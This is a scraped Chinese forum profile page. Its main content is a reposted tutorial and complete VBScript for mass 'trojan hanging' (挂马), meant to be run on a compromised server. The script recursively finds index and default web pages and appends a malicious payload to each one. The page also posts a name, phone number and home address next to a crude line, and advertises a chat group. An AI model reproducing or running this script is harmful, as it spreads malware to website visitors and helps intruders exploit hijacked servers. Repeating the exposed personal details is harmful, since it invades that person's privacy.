ャ宇メ威⌒的个人资料 - RAT

ャ宇メ威⌒ ャ宇メ威⌒

关注数: 6 粉丝数: 0 发帖数: 301 关注贴吧数: 0

本人要求姓名：伊藤浩手机号码：1375575041家庭地址：河南省洛阳市学校地址：南昌市！本人需要：诚心找朋友，只要是朋友都可以来找我。弹我的小JJ玩！

新开魅力江湖！明天魅力江湖开张请大家去捧场先加群：14266099

嘻刷刷！嘻刷刷！嘻刷刷！嘻刷刷！嘻刷刷！嘻刷刷！我刷丫刷。我刷丫刷。我就刷次。嘿嘿。师傅别气吖。。要是加精最好拉。嘿嘿！

[转贴]VBS也能批量挂马好不容易才得到一台肉鸡，在保住肉鸡的同时还不免要扩大自己的成果。挂马其实是一个不错的选择，还有很多比我们菜的菜鸟还不懂打补丁呢（嘻嘻……）!前天下载了个批量挂马程序看了下200多K，想放在肉鸡上测试一下，好不容易才上传到肉鸡上不知怎么，运行的时候弹出个错误窗口肉鸡就挂了(真是悲哀………)！于是就想自己用脚本写个，个子小又有安全感！（Socket:下次进一个网站估计要中几十次木马了。）主要功能：遍历目录，寻找符合条件的文件把马写进去。下面的是代码，只要把代码copy到文件里另存为scan.vbe在cmd下运行。cscript scan.vbe 要挂马的目录例：cscript scan.vbe D:\'版权信息br="************************************" & vbCrLfbr=br & "* VBS 批量挂马脚本 *" & vbCrLfbr=br & "* BY BanLG *" & vbCrLfbr=br & "************************************" & vbCrLf & vbCrLfbr=br & "cscript scan.vbe D:\" & vbCrLf '马的地址ma=" "'要挂马的页面如果嫌不够还可以自己再加，记得要用”|”隔开MyString="index.asp|index.html|index.htm|default.asp|default.html|default.htm"'以"|"为分隔符拆分成数组MyArray = Split(MyString, "|", -1, 1)web=WScript.Arguments(0)'如果web为空退出脚本if web="" thenWscript.echo (br)window.Closeend ifWscript.echo (br) & "马的地址：" & ma & vbCrLf & vbCrLf'创建对象Set fso = createObject("Scripting.FileSystemObject")'开始扫描挂马scan(web)'scan定义函数,扫描查找符合条件的文件把马的内容写到文件的结尾sub scan(filesder) set filesder=fso.getfolder(filesder)'得到当前目录的所有文件集合set files=filesder.files '获取文件名for each fext in filesSet file1 = fso.GetFile(fext)filesext=file1.Name'把文件名转换成小写字母ext=lcase(filesext) For Each index in MyArray'判断文件是不是我们在MyString里限定的文件，如果是就写马if ext=lcase(index) thenSet ts = fso.OpenTextFile(fext,8) '打开文件并在文件末尾进行写操作ts.WriteLine(ma)ts.Closeecho=""echo=fext & " .............ok"Wscript.echo (echo)end ifnextnextset subfolders=filesder.subfoldersfor each subfolder in subfolders '搜索其他目录,递归调用scan(subfolder)next end sub

1 下一页